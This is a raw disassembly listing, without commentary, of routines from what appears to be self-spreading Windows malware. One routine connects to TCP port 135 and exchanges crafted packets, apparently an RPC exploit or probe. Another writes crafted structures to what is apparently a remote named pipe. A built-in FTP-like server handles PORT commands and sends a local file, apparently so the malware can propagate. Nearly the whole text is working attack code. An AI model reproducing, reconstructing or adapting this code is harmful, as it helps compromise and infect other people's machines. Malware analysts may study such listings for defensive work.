		lea	eax, [ebp+var_1364]
		push	esi
		push	edi
		push	eax
		call	sub_410850	; memset
		push	1B58h
		lea	eax, [ebp+var_8EBC]
		push	edi
		push	eax
		call	sub_410850	; memset
		push	0DABh
		lea	eax, [ebp+var_1364]
		push	41h
		push	eax
		call	sub_410850	; memset
		mov	eax, [ebp+arg_4]
		push	5
		push	offset dword_415490
		lea	ebx, [eax+eax*8]
		mov	[ebp+var_8], ebx
		mov	eax, dword ptr (loc_4154EA+2)[ebx]
		mov	ecx, dword ptr (loc_4154E7+1)[ebx]
		mov	[ebp+eax+var_1364], ecx
		lea	eax, [ebp+var_A68]
		push	eax
		call	sub_410838	; memcpy
		push	3Fh
		lea	eax, [ebp+var_A63]
		push	offset sub_4154A8
		push	eax
		call	sub_410838	; memcpy
		add	esp, 48h
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_5B8]
		push	[ebp+var_4]
		push	eax
		call	sub_40C115
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_3B8]
		push	eax
		lea	eax, [ebp+var_A24]
		push	eax
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_3B8]
		push	eax
		call	sub_410826	; strlen
		and	[ebp+eax+var_A24], 0
		add	esp, 20h
		xor	ecx, ecx
		lea	eax, [ebp+var_8EBC]


loc_40C393:				; CODE XREF: sub_40C225+17Fj
		movzx	dx, byte ptr [ebp+ecx+var_1364]
		mov	[eax], dx
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, esi
		jb	short loc_40C393
		push	[ebp+arg_0]
		mov	esi, 2000h
		lea	eax, [ebp+var_7364]
		push	offset dword_415550
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_7364]
		push	esi
		push	eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_410B2A	; mbstowcs
		push	offset dword_41554C
		push	[ebp+arg_0]
		call	sub_410C94	; _strcmpi
		add	esp, 24h
		test	eax, eax
		jz	short loc_40C43F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3364]
		push	offset dword_415544
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		push	esi
		lea	eax, [ebp+var_3364]
		push	offset dword_41553C
		push	eax
		call	sub_410B24	; strncat
		push	20h
		lea	eax, [ebp+var_8C]
		push	edi
		push	eax
		call	sub_410850	; memset
		lea	eax, [ebp+var_3364]
		add	esp, 28h
		mov	[ebp+var_78], eax
		mov	eax, offset byte_417B60
		push	edi
		push	eax
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	dword_417B9C


loc_40C43F:				; CODE XREF: sub_40C225+1C1j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5364]
		push	offset dword_415544
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		push	esi
		lea	eax, [ebp+var_5364]
		push	offset dword_415530
		push	eax
		call	sub_410B24	; strncat
		add	esp, 1Ch
		lea	eax, [ebp+var_5364]
		push	edi
		push	edi
		push	3
		push	edi
		push	3
		push	40000000h
		push	eax
		call	ds:dword_411048	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40C491


loc_40C48A:				; CODE XREF: sub_40C225+370j
		xor	esi, esi
		jmp	loc_40C726
; ---------------------------------------------------------------------------


loc_40C491:				; CODE XREF: sub_40C225+263j
		push	48h
		lea	eax, [ebp+var_68]
		push	edi
		push	eax
		call	sub_410850	; memset
		push	10h
		and	[ebp+var_67], 0
		pop	esi
		mov	[ebp+var_68], 5
		push	1
		mov	[ebp+var_66], 0Bh
		pop	eax
		mov	[ebp+var_65], 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_4A], al
		mov	[ebp+var_38], eax
		push	esi
		lea	eax, [ebp+var_48]
		push	offset dword_41551C
		push	eax
		mov	[ebp+var_64], esi
		mov	[ebp+var_60], 48h
		mov	[ebp+var_5E], di
		mov	[ebp+var_58], 10B8h
		mov	[ebp+var_56], 10B8h
		mov	[ebp+var_54], edi
		mov	[ebp+var_4C], di
		call	sub_410838	; memcpy
		push	esi
		lea	eax, [ebp+var_34]
		push	offset dword_415508
		push	eax
		mov	[ebp+var_24], 2
		call	sub_410838	; memcpy
		add	esp, 24h
		lea	eax, [ebp+var_6C]
		push	edi
		push	eax
		lea	eax, [ebp+var_68]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_411070	; WriteFile
		test	eax, eax
		jz	short loc_40C58C
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_410B18	; wcslen
		lea	eax, [eax+eax+12h]
		pop	ecx
		test	al, 3
		mov	[ebp+arg_4], eax
		jz	short loc_40C540


loc_40C537:				; CODE XREF: sub_40C225+319j
		inc	[ebp+arg_4]
		test	byte ptr [ebp+arg_4], 3
		jnz	short loc_40C537


loc_40C540:				; CODE XREF: sub_40C225+310j
		cmp	byte ptr (loc_4154EF+1)[ebx], 0
		push	4
		pop	esi
		jz	short loc_40C54F
		add	[ebp+arg_4], esi


loc_40C54F:				; CODE XREF: sub_40C225+325j
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_410B18	; wcslen
		pop	ecx
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2+0Eh]


loc_40C563:				; CODE XREF: sub_40C225+343j
		test	al, 3
		jz	short loc_40C56A
		inc	eax
		jmp	short loc_40C563
; ---------------------------------------------------------------------------


loc_40C56A:				; CODE XREF: sub_40C225+340j
		add	eax, 8
		cmp	byte ptr (loc_4154EF+1)[ebx], 0
		jz	short loc_40C57A
		add	eax, esi
		jmp	short loc_40C57C
; ---------------------------------------------------------------------------


loc_40C57A:				; CODE XREF: sub_40C225+34Fj
		inc	eax
		inc	eax


loc_40C57C:				; CODE XREF: sub_40C225+353j
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_41082C	; malloc
		mov	ebx, eax
		pop	ecx
		cmp	ebx, edi
		jnz	short loc_40C59A


loc_40C58C:				; CODE XREF: sub_40C225+2F8j
		push	[ebp+var_4]
		call	ds:dword_4110AC	; CloseHandle
		jmp	loc_40C48A
; ---------------------------------------------------------------------------


loc_40C59A:				; CODE XREF: sub_40C225+365j
		push	[ebp+arg_4]
		push	edi
		push	ebx
		call	sub_410850	; memset
		push	esi
		push	offset dword_415498
		push	ebx
		call	sub_410838	; memcpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_410B18	; wcslen
		inc	eax
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edi
		mov	eax, [ebx+0Ch]
		mov	[ebx+4], eax
		lea	eax, [ebp+var_CEBC]
		push	eax
		lea	eax, [ebx+10h]
		push	eax
		call	sub_410B1E	; wcscpy
		lea	eax, [ebp+var_CEBC]
		push	eax
		call	sub_410B18	; wcslen
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40C5FB


loc_40C5F3:				; CODE XREF: sub_40C225+3D1j
		inc	eax
		test	al, 3
		jnz	short loc_40C5F3
		mov	[ebp+arg_0], eax


loc_40C5FB:				; CODE XREF: sub_40C225+3CCj
		mov	ecx, [ebp+var_8]
		cmp	byte ptr (loc_4154EF+1)[ecx], 0
		jz	short loc_40C61E
		push	esi
		add	eax, ebx
		push	offset dword_4154A0
		push	eax
		call	sub_410838	; memcpy
		add	esp, 0Ch
		add	[ebp+arg_0], esi
		mov	eax, [ebp+arg_0]


loc_40C61E:				; CODE XREF: sub_40C225+3E0j
		lea	esi, [eax+ebx]
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_410B18	; wcslen
		inc	eax
		add	[ebp+arg_0], 0Ch
		mov	[esi+8], eax
		mov	[esi+4], edi
		mov	eax, [esi+8]
		mov	[esi], eax
		lea	eax, [ebp+var_8EBC]
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		call	sub_410B1E	; wcscpy
		lea	eax, [ebp+var_8EBC]
		push	eax
		call	sub_410B18	; wcslen
		mov	ecx, [ebp+arg_0]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_40C674


loc_40C66C:				; CODE XREF: sub_40C225+44Aj
		inc	eax
		test	al, 3
		jnz	short loc_40C66C
		mov	[ebp+arg_0], eax


loc_40C674:				; CODE XREF: sub_40C225+445j
		push	8
		add	eax, ebx
		push	edi
		push	eax
		call	sub_410850	; memset
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+var_8]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_4154EF+1)[esi], 0
		jz	short loc_40C699
		mov	[eax+ebx], edi
		jmp	short loc_40C69F
; ---------------------------------------------------------------------------


loc_40C699:				; CODE XREF: sub_40C225+46Dj
		mov	word ptr [eax+ebx], 1


loc_40C69F:				; CODE XREF: sub_40C225+472j
		push	18h
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		mov	cl, byte ptr (loc_4154EF+1)[esi]
		and	[ebp+var_1F], 0
		and	[ebp+var_1E], 0
		push	1
		mov	[ebp+var_16], di
		pop	eax
		mov	[ebp+var_C], di
		push	eax
		push	10B8h
		push	[ebp+arg_4]
		lea	esi, [ebp+var_20]
		neg	cl
		sbb	ecx, ecx
		push	ebx
		and	ecx, 2
		sub	esp, 18h
		add	ecx, 19h
		mov	[ebp+var_20], 5
		push	6
		mov	[ebp+var_A], cx
		pop	ecx
		mov	[ebp+var_1D], 3
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_14], eax
		rep movsd
		call	sub_40C146
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_40C711
		xor	esi, esi
		jmp	short loc_40C714
; ---------------------------------------------------------------------------


loc_40C711:				; CODE XREF: sub_40C225+4E6j
		push	1
		pop	esi


loc_40C714:				; CODE XREF: sub_40C225+4EAj
		push	[ebp+var_4]
		call	ds:dword_4110AC	; CloseHandle
		push	ebx
		call	sub_410832	; free
		pop	ecx
		xor	edi, edi


loc_40C726:				; CODE XREF: sub_40C225+267j
		push	edi
		push	edi
		push	[ebp+var_78]
		call	dword_417BA4
		mov	eax, esi
		jmp	short loc_40C738
; ---------------------------------------------------------------------------


loc_40C735:				; CODE XREF: sub_40C225+18j
					; sub_40C225+24j
		push	1
		pop	eax


loc_40C738:				; CODE XREF: sub_40C225+85j
					; sub_40C225+50Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C225	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C73D	proc near		; DATA XREF: .data:004168B8o
					; .data:0041692Co

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40C225
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short locret_40C75A
		push	eax
		push	[esp+4+arg_0]
		call	sub_40C225
		pop	ecx
		pop	ecx

locret_40C75A:				; CODE XREF: sub_40C73D+Fj
		retn
sub_40C73D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C75B	proc near		; CODE XREF: sub_40C794+131p
					; sub_40C794+15Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40C789


loc_40C76C:				; CODE XREF: sub_40C75B+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_410AFA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C78F
		inc	esi
		cmp	esi, edi
		jl	short loc_40C76C


loc_40C789:				; CODE XREF: sub_40C75B+Fj
		xor	eax, eax


loc_40C78B:				; CODE XREF: sub_40C75B+37j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C78F:				; CODE XREF: sub_40C75B+27j
		push	1
		pop	eax
		jmp	short loc_40C78B
sub_40C75B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C794	proc near		; CODE XREF: sub_40B27D+19p
					; sub_40C225+68p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_4108B0
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_40C7DF
		dec	eax
		jz	short loc_40C7B5
		dec	eax


loc_40C7AE:				; CODE XREF: sub_40C794+61j
		xor	eax, eax


loc_40C7B0:				; CODE XREF: sub_40C794+49j
					; sub_40C794+176j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C7B5:				; CODE XREF: sub_40C794+17j
		push	2710h
		push	0
		push	offset a5000	; "5000"
		push	[ebp+arg_0]
		call	sub_403BBB
		mov	esi, eax
		push	esi
		call	sub_403D27
		mov	eax, esi
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40C7B0
; ---------------------------------------------------------------------------


loc_40C7DF:				; CODE XREF: sub_40C794+14j
		push	6
		push	1
		push	2
		call	ds:dword_41122C	; socket
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		mov	[ebp+arg_4], edi
		jz	short loc_40C7AE
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_410850	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_411248	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_411254	; inet_addr
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_411208	; connect
		cmp	eax, ebx
		jz	loc_40C8FF
		push	esi
		push	48h
		push	offset dword_415558
		push	edi
		call	ds:dword_411220	; send
		cmp	eax, ebx
		jz	loc_40C8FF
		mov	edi, 2000h
		push	esi
		mov	esi, ds:dword_411258
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		cmp	eax, ebx
		jnz	short loc_40C879


loc_40C872:				; CODE XREF: sub_40C794+ECj
					; sub_40C794+102j ...
		xor	esi, esi
		jmp	loc_40C8FF
; ---------------------------------------------------------------------------


loc_40C879:				; CODE XREF: sub_40C794+DCj
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40C872
		push	0
		push	18h
		push	offset dword_4155A4
		push	[ebp+arg_4]
		call	ds:dword_411220	; send
		cmp	eax, ebx
		jz	short loc_40C872
		push	0
		lea	eax, [ebp+var_2010]
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	esi	; recv
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40C872
		cmp	[ebp+var_200E],	2
		jnz	short loc_40C872
		push	10h
		push	offset loc_4155C0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40C75B
		add	esp, 10h
		test	eax, eax
		jz	short loc_40C8DF
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_40C8FD
; ---------------------------------------------------------------------------


loc_40C8DF:				; CODE XREF: sub_40C794+13Bj
		push	10h
		push	offset dword_4155D4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40C75B
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		and	eax, 3


loc_40C8FD:				; CODE XREF: sub_40C794+149j
		mov	esi, eax


loc_40C8FF:				; CODE XREF: sub_40C794+A4j
					; sub_40C794+BBj ...
		push	[ebp+arg_4]
		call	ds:dword_411240	; closesocket
		mov	eax, esi
		jmp	loc_40C7B0
sub_40C794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C90F	proc near		; CODE XREF: sub_40B7A2+188p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_40C944
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40C9A0


loc_40C925:				; CODE XREF: sub_40C90F+31j
		push	21h
		push	ebx
		call	sub_40AADE
		mov	al, byte_4155F0[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40C925
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C944:				; CODE XREF: sub_40C90F+Dj
		cmp	esi, 7Fh
		jnz	short loc_40C96F
		xor	esi, esi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40C9A0


loc_40C950:				; CODE XREF: sub_40C90F+5Cj
		push	6
		push	ebx
		call	sub_40AADE
		mov	al, byte_4155F0[eax+eax*4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[esi+ecx], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		jb	short loc_40C950
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C96F:				; CODE XREF: sub_40C90F+38j
		xor	edi, edi
		cmp	[ebp+arg_4], ebx
		jbe	short loc_40C9A0


loc_40C976:				; CODE XREF: sub_40C90F+8Fj
		push	21h
		push	ebx
		call	sub_40AADE
		movsx	eax, al
		pop	ecx
		lea	eax, [eax+eax*4]
		pop	ecx
		test	dword_4155F1[eax], esi
		jnz	short loc_40C99B
		mov	ecx, [ebp+arg_0]
		mov	al, byte_4155F0[eax]
		mov	[edi+ecx], al
		inc	edi


loc_40C99B:				; CODE XREF: sub_40C90F+7Dj
		cmp	edi, [ebp+arg_4]
		jb	short loc_40C976


loc_40C9A0:				; CODE XREF: sub_40C90F+14j
					; sub_40C90F+33j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C90F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A5	proc near		; CODE XREF: sub_40CA47+40Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403BBB
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		jz	short loc_40C9EE
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40C9EE
		push	offset aRb	; "rb"
		push	offset dword_41885C
		call	sub_41086E	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_40C9F4
		push	ebx
		call	sub_403D49
		pop	ecx


loc_40C9EE:				; CODE XREF: sub_40C9A5+24j
					; sub_40C9A5+29j
		xor	eax, eax


loc_40C9F0:				; CODE XREF: sub_40C9A5+A0j
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C9F4:				; CODE XREF: sub_40C9A5+40j
		push	edi


loc_40C9F5:				; CODE XREF: sub_40C9A5+7Fj
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40CA31
		push	esi
		push	200h
		lea	eax, [ebp+var_200]
		push	1
		push	eax
		call	sub_410880	; fread
		mov	edi, eax
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		call	sub_403D54
		add	esp, 1Ch
		cmp	edi, eax
		jz	short loc_40C9F5
		push	ebx
		call	sub_403D49
		pop	ecx
		xor	edi, edi
		jmp	short loc_40CA3B
; ---------------------------------------------------------------------------


loc_40CA31:				; CODE XREF: sub_40C9A5+54j
		push	ebx
		call	sub_403D27
		pop	ecx
		push	1
		pop	edi


loc_40CA3B:				; CODE XREF: sub_40C9A5+8Aj
		push	esi
		call	sub_410868	; fclose
		pop	ecx
		mov	eax, edi
		pop	edi
		jmp	short loc_40C9F0
sub_40C9A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA47	proc near		; DATA XREF: sub_40D09D+CBo

var_530		= byte ptr -530h
var_330		= byte ptr -330h
var_32F		= byte ptr -32Fh
var_230		= byte ptr -230h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 530h
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		push	offset dword_4161A8
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		mov	ebx, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		mov	dl, byte_417B60
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_32F]
		mov	[ebp+var_330], dl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		mov	[ebp+var_14], dl
		push	0EA60h
		stosd
		stosb
		xor	eax, eax
		push	ebx
		mov	[ebp+arg_0], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], eax
		call	sub_403DD6
		add	esp, 24h


loc_40CAC6:				; CODE XREF: sub_40CA47+3C2j
		test	eax, eax
		jz	loc_40CF00
		lea	eax, [ebp+var_530]
		push	esi
		push	eax
		push	ebx
		call	sub_403D69
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40CF00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CF00
		lea	eax, [ebp+var_C]
		mov	edi, offset dword_4161A4
		push	eax
		lea	eax, [ebp+var_530]
		push	edi
		push	eax
		call	sub_405733
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_40CDFC
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405733
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40CB31
		mov	[ebp+var_4], offset byte_417B60


loc_40CB31:				; CODE XREF: sub_40CA47+E1j
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		push	0
		call	sub_405733
		push	[ebp+var_8]
		call	sub_409CCF
		add	esp, 10h
		cmp	eax, dword_416198
		jnz	short loc_40CB61
		mov	[ebp+arg_0], 1
		push	offset dword_416190
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CB61:				; CODE XREF: sub_40CA47+107j
		cmp	eax, dword_416184
		jnz	short loc_40CB7A
		mov	[ebp+var_18], 1
		push	offset dword_41617C
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CB7A:				; CODE XREF: sub_40CA47+120j
		cmp	[ebp+arg_0], 0
		jz	loc_40CDFC
		cmp	[ebp+var_18], 0
		jz	loc_40CDFC
		cmp	eax, dword_416170
		jnz	short loc_40CBA0
		push	offset dword_416168
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CBA0:				; CODE XREF: sub_40CA47+14Dj
		cmp	eax, dword_41615C
		jnz	short loc_40CBB2
		push	offset dword_416154
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CBB2:				; CODE XREF: sub_40CA47+15Fj
		cmp	eax, dword_41614C
		jnz	short loc_40CBC4
		push	offset dword_416140
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CBC4:				; CODE XREF: sub_40CA47+171j
		cmp	eax, dword_416134
		jz	loc_40CC5B
		cmp	eax, dword_416128
		jnz	short loc_40CBE2
		push	offset dword_416120
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CBE2:				; CODE XREF: sub_40CA47+18Fj
		cmp	eax, dword_416114
		jnz	short loc_40CC65
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	[ebp+var_4]
		call	sub_410892	; sscanf
		movzx	eax, [ebp+var_30]
		add	esp, 20h
		push	eax
		movzx	eax, [ebp+var_24]
		push	eax
		movzx	eax, [ebp+var_1C]
		push	eax
		movzx	eax, [ebp+var_28]
		push	eax
		push	offset dword_412A58
		lea	eax, [ebp+var_330]
		push	100h
		push	eax
		call	sub_41089E	; _snprintf
		xor	eax, eax
		add	esp, 1Ch
		mov	ah, [ebp+var_2C]
		mov	al, [ebp+var_20]
		push	eax
		push	offset dword_4160FC
		lea	eax, [ebp+var_14]
		push	6
		push	eax
		call	sub_41089E	; _snprintf
		add	esp, 10h


loc_40CC5B:				; CODE XREF: sub_40CA47+183j
		push	offset dword_4160F4
		jmp	loc_40CDD2
; ---------------------------------------------------------------------------


loc_40CC65:				; CODE XREF: sub_40CA47+1A1j
		cmp	eax, dword_4160E8
		jnz	short loc_40CCE5
		push	offset aRb	; "rb"
		push	offset dword_41885C
		call	sub_41086E	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40CF00
		push	2
		push	0
		push	edi
		call	sub_410886	; fseek
		push	edi
		call	sub_41085C	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_410886	; fseek
		push	edi
		call	sub_410868	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	[ebp+var_8]
		push	offset dword_4160DC
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		add	esp, 20h
		jmp	loc_40CDFC
; ---------------------------------------------------------------------------


loc_40CCE5:				; CODE XREF: sub_40CA47+224j
		cmp	eax, dword_4160D0
		jnz	loc_40CE0E
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		push	2710h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_403BBB
		add	esp, 2Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_40CF00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40CF00
		push	offset aRb	; "rb"
		push	offset dword_41885C
		call	sub_41086E	; fopen
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	loc_40CF00
		push	2
		push	0
		push	edi
		call	sub_410886	; fseek
		push	edi
		call	sub_41085C	; ftell
		push	0
		push	0
		push	edi
		mov	[ebp+var_8], eax
		call	sub_410886	; fseek
		push	edi
		call	sub_410868	; fclose
		add	esp, 20h
		lea	eax, [ebp+var_230]
		push	offset dword_41885C
		push	[ebp+var_8]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	[ebp+var_4]
		call	sub_403D54
		push	[ebp+var_4]
		call	sub_403D27
		add	esp, 28h
		push	offset dword_41604C


loc_40CDD2:				; CODE XREF: sub_40CA47+115j
					; sub_40CA47+12Ej ...
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		add	esp, 1Ch


loc_40CDFC:				; CODE XREF: sub_40CA47+C7j
					; sub_40CA47+137j ...
		push	0EA60h
		push	ebx
		call	sub_403DD6
		pop	ecx
		pop	ecx
		jmp	loc_40CAC6
; ---------------------------------------------------------------------------


loc_40CE0E:				; CODE XREF: sub_40CA47+2A4j
		cmp	eax, dword_416040
		jnz	loc_40CEC9
		push	offset a150	; "150 -\r\n"
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_40C9A5
		add	esp, 24h
		test	eax, eax
		jz	loc_40CF00
		push	offset dword_41604C
		lea	eax, [ebp+var_230]
		push	esi
		push	eax
		call	sub_41089E	; _snprintf
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_410826	; strlen
		push	eax
		lea	eax, [ebp+var_230]
		push	eax
		push	ebx
		call	sub_403D54
		push	1
		push	offset dword_418838
		call	sub_406AFA
